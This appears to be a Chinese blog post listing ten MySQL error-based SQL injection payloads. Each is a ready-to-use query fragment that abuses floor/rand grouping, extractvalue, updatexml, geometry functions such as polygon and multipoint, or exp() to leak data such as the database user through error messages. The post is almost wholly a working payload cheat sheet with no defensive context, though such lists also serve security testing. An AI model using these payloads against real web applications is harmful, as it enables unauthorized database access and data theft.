十种MySQL报错注入

  • A+
所属分类:linux 系统运维

十种MySQL报错注入

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

十种MySQL报错注入

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

十种MySQL报错注入

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

十种MySQL报错注入

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
十种MySQL报错注入

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

十种MySQL报错注入
6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
十种MySQL报错注入

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

十种MySQL报错注入

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

十种MySQL报错注入

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

十种MySQL报错注入

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

十种MySQL报错注入

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: